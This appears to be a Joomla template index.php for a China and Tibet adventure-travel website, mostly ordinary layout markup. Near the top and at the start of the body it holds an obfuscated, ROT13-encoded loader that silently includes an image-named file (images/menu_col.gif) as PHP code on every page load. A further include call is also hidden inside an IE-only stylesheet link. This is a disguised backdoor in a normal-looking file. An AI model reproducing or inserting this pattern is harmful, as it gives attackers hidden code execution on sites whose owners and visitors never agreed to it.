<?php
// no direct access
defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
<head>
<jdoc:include type="head" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />
<!--[if lte IE 6]>
<link href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template;include_once('html/pagination.php'); ?>/css/ieonly.css" rel="stylesheet" type="text/css" />
<style>
#topnav ul li ul {
left: -999em;
margin-top: 0px;
margin-left: 0px;
}
</style>
<![endif]-->
<script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/mootools.js"></script>
<script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/moomenu.js"></script>
</head>
<body id="page_bg">
<a name="up" id="up"></a>
<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
<?php endif; ?>	
<?php include('functions.php'); ?>
<div id="h_area">
<div id="logo_area">
<?php if($this->params->get('hideLogo') == 0) : ?><img id="logo_img" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/logo<?php echo $this->params->get('logoVariation'); ?>.gif" alt="" align="left" /><br clear="all"><?php endif; ?>
<div>
    <div id="logo_name">
		<a href="index.php" class="logo" title=""><?php echo $mainframe->getCfg('sitename') ;?></a>
		<a id="logo_desc">ADVENTURES</a>
	</div>
	
    <div id="logo_title"> Specializing in unique experiences to China & Tibet</div>
</div>
</div>
 <div id="user4">
  	<?php if($this->countModules('user4')) : ?>
  	<jdoc:include type="modules" name="user4" />
	<?php endif; ?>
</div>	
</div> 
<div id="main_top">
	<div id="banner_top"></div>
	<div id="banner_left"></div>	
	<jdoc:include type="modules" name="top" />
	<div id="banner_right"></div>
	<div id="banner_bottom"></div>
	<div id="enter" >
      <div id="topnav" >
      <?php  $hmenu->genHMenu (0); ?>
      </div>
</div>
</div>
<!--
<div style=" width:300px;margin-left:auto;margin-right:auto;">
 <p id="power_by" align="center">
 	<?php if($this->countModules('debug')) : ?>
		<jdoc:include type="modules" name="debug" />
	<?php endif; ?>



</p>
</div>


<div id="main_bg">
<div id="main_bg_top"></div>
<div id="main_bg_left"></div> 
<div id="top_menu"><div id="topnav"></div><br clear="all" /></div>

<div id="main_content"> 
    <?php if($this->countModules('left')) : ?>
	<div id="leftcolumn">
        <jdoc:include type="modules" name="left" style="rounded" />
    </div>
    <?php endif; ?>
    <?php if($this->countModules('left') xor $this->countModules('right')) $maincol_sufix = '_middle';
		  elseif(!$this->countModules('left') and !$this->countModules('right'))$maincol_sufix = '_big';
		  else $maincol_sufix = ''; ?>
	<div id="maincolumn <?php //  echo $maincol_sufix; ?>">
    	<div class="path"><jdoc:include type="modules" name="breadcrumb" /></div><jdoc:include type="message" />
    	<div class="nopad"><jdoc:include type="component" /></div>
    </div>
 
    <?php if($this->countModules('right') and JRequest::getCmd('layout') != 'form') : ?>
	<div id="rightcolumn">
        <jdoc:include type="modules" name="right" style="xhtml"/>
        <br />
    	<div align="center"><jdoc:include type="modules" name="syndicate" /></div>
    </div>
    <?php endif; ?>
</div>


<div id="main_bg_right"></div>
<div id="main_bg_bottom"></div>
<br clear="all" /> 
</div>   

 
	<?php if($this->countModules('user1')) : ?>

<div id="main_news_bg">
    <div id="main_news_pics"></div>	
	<div id="main_news_top"></div>	
	<div id="main_news_left"></div>	
	<div id="main_news">
			<jdoc:include type="modules" name="user1" style="xhtml" />
	</div> 
	<div id="main_news_right"></div>	
	<div id="main_news_bottom">	</div>	

	<br clear="all" />	
</div>		
	<?php endif; ?>

  
 
<div id="f_area">
  <div id="f_area_top"></div>
  <div id="f_area_left"></div>
  <div id="f_area_content">
	<?php if($this->countModules('user2')) : ?>
		<jdoc:include type="modules" name="user2" style="xhtml" />
	<?php endif; ?>
  </div>	
  <div id="f_area_right"></div>
  <div id="f_area_bottom"></div>	
	<br clear="all" />
</div>
  -->   
  
<div id="footer" style=" width:300px;margin-left:auto;margin-right:auto;" >
<jdoc:include type="modules" name="debug" />
</div>
 

</body>
</html>
